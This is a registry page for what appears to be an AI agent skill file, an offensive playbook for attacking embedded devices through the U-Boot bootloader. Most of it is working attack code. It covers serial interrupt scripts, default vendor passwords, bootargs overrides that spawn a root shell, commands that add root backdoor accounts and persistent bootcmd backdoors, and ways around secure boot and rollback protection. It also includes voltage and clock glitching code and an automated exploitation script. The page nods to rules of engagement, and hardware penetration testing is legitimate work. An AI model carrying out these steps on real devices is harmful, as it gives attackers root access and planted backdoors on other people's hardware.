U-Boot bootloader attack playbook — console interrupt to break the autoboot countdown, environment variable inspection and manipulation, bootargs override to spawn init=/bin/sh, secure-boot bypass techniques, and fault-injection basics (voltage and clock glitching). Covers MIPS, ARM, and AArch64 targets.
62
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/bootloader-uboot/SKILL.mdU-Boot is the dominant open-source bootloader for embedded Linux devices. A UART console with an unpatched autoboot allows complete OS compromise without touching the running filesystem: override
bootargs, passinit=/bin/sh, and land a root shell beforeinitstarts.
firmware-acquisition skill, Tier 1).screen /dev/ttyUSB0 115200 or picocom -b 115200 /dev/ttyUSB0.minicom, expect, python3-serial.1. Open serial terminal BEFORE powering device.
2. Apply power.
3. Watch for U-Boot banner:
U-Boot 2020.01 (Jan 01 2020)
...
Hit any key to stop autoboot: 3 2 1
4. Press any key (spacebar reliable) during countdown to get '=>' prompt.If autoboot completes before interrupt: power-cycle and try again. Some devices accept keys up to 500ms before the countdown appears.
# Approach A: Interrupt via UART break signal (before U-Boot banner)
python3 -c "
import serial, time
s = serial.Serial('/dev/ttyUSB0', 115200)
s.send_break(duration=0.5)
time.sleep(0.1)
s.write(b'\r\n')
print(s.read(200))"
# Approach B: Hardware glitch to reset autoboot timer (see Phase 5)
# Approach C: Some vendors compile with CONFIG_AUTOBOOT_KEYED_CTRLC=y
# Try: Ctrl+C, then 'adc', then model-specific passwords
# Common: 'aDm1n+' '3008' 'anko' 'GM8182' 'realtekk' 'password'# At U-Boot => prompt:
# Print ALL environment variables
printenv
# Key variables to examine:
# bootargs = kernel command line (target for init override)
# bootcmd = boot command sequence (target for persistence)
# ipaddr = device IP (useful for TFTP)
# serverip = TFTP server IP
# netmask = subnet mask
# mtdparts = flash partition map (offsets for SPI dump / write)
# fdtcontroladdr = FDT address (check secure-boot flags here)=> mtdparts
=> flinfo # (older U-Boot) detailed partition info
=> cat /proc/mtd # (from Linux, if booting fails) — compare with mtdpartsExpected output example:
mtdparts=spi0.0:256k(u-boot),64k(u-boot-env),64k(factory),2048k(kernel),5888k(rootfs),-(storage)This is the primary exploitation primitive: replace the kernel init process with a root shell before any authentication or privilege separation occurs.
# Inspect current bootargs
=> printenv bootargs
# Example: root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd
# Override: append init=/bin/sh (or replace init entirely)
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd init=/bin/sh"
# Boot with modified args (trigger the original bootcmd)
=> run bootcmd
# Alternative: load kernel manually and boot with setenv bootargs
=> tftpboot 0x80000000 uImage
=> setenv bootargs "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh"
=> bootm 0x80000000Once the kernel drops to /bin/sh:
# Remount rootfs read-write
mount -o remount,rw /
# Add backdoor account
echo 'backdoor:x:0:0:root:/root:/bin/sh' >> /etc/passwd
# Set password
passwd backdoor # or directly edit shadow
# Or extract /etc/shadow for offline crack
cat /etc/shadow# Append 'single' or 'S' to bootargs for systemd/SysV init single-user mode
=> setenv bootargs "${bootargs} single"
=> run bootcmd# Save modified environment to flash (survives reboot)
=> saveenv
# Warning: only do this if persistence is in RoE scope.
# Revert with:
=> setenv bootcmd "<original_value>"
=> saveenv
# Add persistent backdoor via bootcmd (executes on every boot)
=> setenv bootcmd "run addbackdoor; run origbootcmd"
=> setenv addbackdoor "run bootargs; echo 'backdoor::0:0::/:/bin/sh' >> /etc/passwd"
# NOTE: >> redirect not available in all U-Boot versions; use fatwrite / ext4write instead
# Persist via TFTP-loaded script
=> setenv serverip 192.168.1.10
=> setenv ipaddr 192.168.1.100
=> tftpboot 0x80000000 payload.scr
=> source 0x80000000# At U-Boot prompt:
=> printenv secure_boot # vendor-specific variable name
=> bdinfo # board info, check CPU flags
=> fuse status # (i.MX targets) read eFuse state
=> hab_status # i.MX HAB (High Assurance Boot) status# Load FDT and inspect secure-boot flag
=> fdt addr 0x84000000
=> fdt list /
=> fdt print /chosen # often contains kernel cmdline + secure flags
# Override secure-boot flag in FDT if not eFuse-locked:
=> fdt set /chosen secure_boot <0># U-Boot environment may expose update URL or version check
=> printenv | grep -i "version\|rollback\|fw_"
# If firmware version check is in env, not eFuse:
=> setenv fw_version 0
=> run upgrade_check # may allow older (unpatched) firmware load# Flash an unsigned / patched U-Boot (only if RoE permits flash writes)
=> tftpboot 0x80000000 u-boot.bin
=> sf probe
=> sf erase 0x0 0x40000
=> sf write 0x80000000 0x0 0x40000
# Risk: brick if image is wrong size/offset — verify mtdparts firstFault injection bypasses secure-boot signature checks by corrupting the CPU instruction stream during the signature verification window.
# ChipWhisperer Python API — target: STM32F4 or similar MCU bootloader
import chipwhisperer as cw
scope = cw.scope()
scope.default_setup()
scope.glitch.clk_src = "clkgen"
scope.glitch.output = "glitch_only"
scope.glitch.trigger_src = "ext_single"
scope.glitch.width = 24 # tune: 10-50 for most Cortex-M targets
scope.glitch.offset = 1200 # tune: trigger offset from reset release
scope.io.glitch_hp = True
target = cw.target(scope)
scope.arm()
# Power-cycle target; glitch fires at offset, corrupting signature check
ret = scope.capture()
resp = target.read(100)
print(resp) # 'BOOT OK' or similar = bypass success# pigpio-based clock glitch on GPIO-connected CLK line
# https://github.com/nstarke/raspberry-pi-glitcher
python3 glitch.py --offset 1000 --width 50 --pin 181. Identify VCC_CORE rail (typically 1.0–1.2 V for application processor).
2. Place 10 Ω resistor + MOSFET crowbar on VCC_CORE rail.
3. Trigger MOSFET via microcontroller at measured delay after reset release.
4. Iterate offset + duration until signature check returns True (CPU skipped
the branch-if-fail or corrupted the RSA modulus comparison).#!/usr/bin/env python3
"""Automated U-Boot console interrupt + bootargs override."""
import serial, time, sys
PORT = "/dev/ttyUSB0"
BAUD = 115200
INIT_OVERRIDE = "init=/bin/sh"
s = serial.Serial(PORT, BAUD, timeout=2)
print("[*] Waiting for U-Boot banner...")
buffer = b""
while b"autoboot" not in buffer.lower() and b"stop autoboot" not in buffer.lower():
chunk = s.read(256)
buffer += chunk
sys.stdout.buffer.write(chunk)
sys.stdout.buffer.flush()
print("\n[*] Sending interrupt...")
for _ in range(10):
s.write(b" ")
time.sleep(0.05)
time.sleep(0.3)
response = s.read(256)
if b"=>" not in response:
print("[-] No U-Boot prompt — try manual interrupt")
sys.exit(1)
print("[+] U-Boot prompt obtained")
s.write(b"printenv bootargs\r\n"); time.sleep(0.3)
ba = s.read(512).decode(errors="replace")
print(ba)
# Extract existing bootargs line
for line in ba.splitlines():
if line.startswith("bootargs="):
orig = line[len("bootargs="):]
break
new_args = orig.rstrip() + f" {INIT_OVERRIDE}"
s.write(f'setenv bootargs "{new_args}"\r\n'.encode()); time.sleep(0.3)
s.write(b"run bootcmd\r\n")
print(f"[+] Sent: setenv bootargs with {INIT_OVERRIDE}")
print("[*] Booting — watch terminal for /bin/sh prompt")EVDIR=/workspace/evidence/iot/<target>/bootloader
mkdir -p "$EVDIR"
# Capture full printenv output
tee "$EVDIR/uboot_env.txt" # pipe terminal session output
# Document the bootargs override chain
echo "bootargs override: init=/bin/sh appended; root shell obtained at $(date -u +%FT%TZ)" \
>> "$EVDIR/notes.txt"saveenv writes to flash and is persistent — only use if persistence is
explicitly in scope. Failing to revert leaves a modified device.https://u-boot.readthedocs.io/en/latest/usage/index.htmlhttps://rtfm.newae.com/Capture/ChipWhisperer-Nano/https://docs.nxp.com/bundle/AN4581https://tches.iacr.org/index.php/TCHES/article/view/7390e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.